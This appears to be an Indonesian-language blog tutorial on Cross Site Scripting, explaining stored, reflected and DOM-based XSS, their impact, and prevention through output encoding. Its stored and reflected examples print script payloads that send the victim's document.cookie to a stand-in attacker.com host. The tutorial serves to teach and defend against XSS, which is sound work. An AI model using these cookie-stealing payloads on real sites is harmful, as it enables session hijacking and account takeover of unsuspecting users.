Menu Tutup

Pengertian Bug Cross Site Scripting (XSS) Vulnerability

Bug Cross Site Scripting (XSS) Vulnerability adalah salah satu dari sedikit kerentanan yang berhasil masuk dalam setiap 10 daftar teratas risiko keamanan aplikasi web OWASP yang dirilis.

Untuk memahami Bug Cross Site Scripting (XSS), Anda harus terlebih dahulu memahami konsep dasar Same Origin Policy (SOP), yang melarang aplikasi web untuk mengambil konten dari halaman dengan asal yang lain. Dengan melarang akses ke situs web konten silang asal acak tidak dapat tidak membaca atau mengubah data dari halaman Facebook Anda atau akun PayPal saat login ke dalamnya.

SOP adalah salah satu prinsip keamanan paling penting di setiap browser web. Misalnya halaman

https://example.com/index.html

Dapat mengakses konten dari

https://example.com/about.html

Sa’at

https://attacker.com/index.html

Tidak dapat mengakses konten dari

https://example.com/about.html

Bug Cross Site Scripting (XSS)

Cross-site Scripting, juga dikenal sebagai XSS, adalah cara melewati konsep SOP dalam aplikasi web yang rentan. Setiap kali kode HTML dihasilkan secara dinamis, dan input pengguna tidak disanitasi dan tercermin pada halaman penyerang bisa memasukkan kode HTML-nya sendiri. Peramban web masih akan menampilkan kode pengguna karena berkaitan dengan situs web tempat injeksi.

Dalam kasus seperti itu seorang penyerang dapat dengan mudah memasukkan kode JavaScript yang akan berjalan di bawah konteks situs. Dengan melakukan itu penyerang dapat mengakses halaman lain pada domain yang sama dan dapat membaca data seperti CSRF-Token atau cookie yang ditetapkan.

Jika cookie, yang biasanya berisi informasi pengidentifikasi sesi, dapat dibaca oleh kode JavaScript sisi-klien, penyerang dapat menggunakannya pada browsernya sendiri dan masuk ke aplikasi web sebagai korban. Jika itu tidak berhasil, penyerang masih dapat membaca informasi pribadi dari halaman, seperti membaca token CSRF dan membuat permintaan atas nama pengguna.

BACA JUGA  MITMF Tools Man In The Middle Attack (MITM)

Jenis Cross Site Scripting

Ada tiga jenis Bug Cross-site Scripting; Stored, Reflected and DOM XSS. Berikut penjelasannya:

Stored Cross Site Scripting Vulnerability

terjadi ketika muatan disimpan, misalnya dalam database dan kemudian dieksekusi ketika pengguna membuka halaman pada aplikasi web. Cross Site Scripting yang disimpan sangat berbahaya karena sejumlah alasan:

Muatan tidak terlihat untuk filter XSS browser

Pengguna mungkin secara tidak sengaja memicu payload jika mereka mengunjungi halaman yang terpengaruh, sementara url buatan atau input formulir spesifik akan diperlukan untuk mengeksploitasi XSS yang direfleksikan.

Contoh XSS Stored

Bug XSS Stored dapat terjadi jika nama pengguna papan pesan online tidak dibersihkan dengan benar saat dicetak pada halaman. Dalam kasus seperti itu seorang penyerang dapat memasukkan kode berbahaya ketika mendaftarkan pengguna baru di formulir. Ketika nama pengguna dicerminkan pada halaman papan pesan, itu akan terlihat seperti ini:

Username: user123<script>document.location=’https://attacker.com/?cookie=’+encodeURIComponent(document.cookie)</script>
Registered since: 2016

JavaScript berbahaya di atas dipicu setiap kali pengguna mengunjungi bagian forum ini, dan mengirimkan cookie pengguna papan pesan yang disimpan di browser pengguna ke penyerang, yang kemudian menggunakannya untuk membajak sesi pengguna. XSS yang disimpan dapat menjadi kerentanan yang sangat berbahaya karena dapat memiliki efek worm, terutama ketika dieksploitasi di halaman populer.

Misalnya bayangkan papan pesan atau situs web media sosial yang memiliki halaman menghadap publik yang rentan terhadap Bug XSS yang disimpan, seperti halaman profil pengguna. Jika penyerang dapat menempatkan muatan JavaScript berbahaya yang menambahkan dirinya ke halaman profil, vektor serangan dijalankan setiap kali pengunjung membuka halaman dan muatan menyebar dengan pertumbuhan eksponensial.

BACA JUGA  AhMyth Android RAT - Android Remote Administration Tool

Bug XSS Reflected

Bug XSS Reflected terjadi ketika input pengguna dari URL atau data POST tercermin pada halaman tanpa disimpan, sehingga memungkinkan penyerang untuk menyuntikkan konten berbahaya. Ini berarti bahwa seorang penyerang harus mengirim URL jahat atau formulir kiriman yang dibuat kepada korban untuk memasukkan muatan, dan korban harus mengklik link tersebut. Payload semacam ini juga umumnya ditangkap oleh filter XSS bawaan di browser pengguna, seperti Chrome, Internet Explorer atau Edge.

Contoh Bug XSS Reflected

Sebagai contoh serangan XSS, kami akan menggunakan fungsionalitas pencarian di situs web berita, yang berfungsi dengan menambahkan input pengguna, yang diambil dari permintaan GET HTTP, ke parameter q, seperti contoh di bawah ini:

https://example.com/news?q=data+breach

Dalam hasil pencarian, situs web mencerminkan konten kueri yang dicari pengguna, seperti:

You searched for “data breach”:

Jika fungsi Pencarian rentan terhadap kerentanan skrip lintas situs yang tercermin, penyerang dapat mengirimkan korban URL jahat seperti di bawah ini:

https://example.com/news?q=<script>document.location=’https://attacker.com/log.php?c=’ + encodeURIComponent(document.cookie)</script>

Setelah korban mengklik URL jahat, serangan XSS dieksekusi dan situs web menampilkan yang berikut:

You searched for “<script>document.location=’https://attacker.com/log.php?c=’ + document.cookie</script>”:

Kode sumber HTML, yang mencerminkan kode jahat penyerang mengarahkan ulang browser korban ke situs web yang dikendalikan oleh penyerang, yang kemudian mencuri cookie sesi / token sesi pengguna saat ini dari browser korban untuk situs tersebut example.com sebagai parameter GET.

Bug Cross-Site Scripting DOM Based

Bug Cross-Site Scripting DOM Based terjadi di DOM (Document Object Model) bagian dari HTML.

Dampak Bug Cross Site Scripting

Dampak dari Bug XSS yang dieksploitasi pada aplikasi web sangat bervariasi. Ini berkisar dari Sesi Pembajakan pengguna, dan jika digunakan bersama dengan teknik sosial enginering itu juga dapat menyebabkan pengungkapan data sensitif, serangan CSRF dan vulnerability keamanan lainnya. Dengan mengeksploitasi bug Cross Site Scripting, penyerang dapat menyamar sebagai korban dan mengambil alih akun. Jika korban memiliki hak administratif, itu mungkin mengarah pada eksekusi kode di server, tergantung pada aplikasi dan hak istimewa akun.

BACA JUGA  10 Aplikasi hacking untuk Android terbaik 2020

Mencegah Bug XSS

Untuk mencegah Bug XSS, sangat penting untuk menerapkan pengkodean keluaran tergantung konteks. Dalam beberapa kasus mungkin cukup untuk menyandikan karakter khusus HTML, seperti tag pembuka dan penutup. Dalam kasus lain, pengkodean URL yang diterapkan dengan benar diperlukan. Link umumnya harus dianulir jika tidak dimulai dengan protokol yang masuk daftar putih seperti http: // atau https: //, sehingga mencegah penggunaan skema URI seperti javascript: //.

Meskipun sebagian besar browser web modern memiliki filter XSS inbuilt, mereka tidak boleh dilihat sebagai alternatif sanitasi. Mereka tidak dapat menangkap semua jenis serangan Cross Site Scripting dan tidak ketat sehingga tidak mengarah ke halaman palsu, yang akan mencegah beberapa halaman memuat dengan benar. Filter XSS peramban web seharusnya hanya menjadi “garis pertahanan kedua” dan idenya adalah untuk meminimalkan dampak vulnerability yang ada.

Pengembang tidak boleh menggunakan back list karena ada berbagai bypass untuk mereka. Hal lain yang harus mereka hindari menggunakan adalah pengupasan fungsi dan karakter berbahaya karena filter XSS browser tidak dapat mengenali muatan berbahaya ketika output diubah dengan memungkinkan untuk memotong kemungkinan. Yang sedang berkata, satu-satunya pencegahan XSS yang direkomendasikan adalah pengkodean seperti yang disebutkan di atas.

Tinggalkan Balasan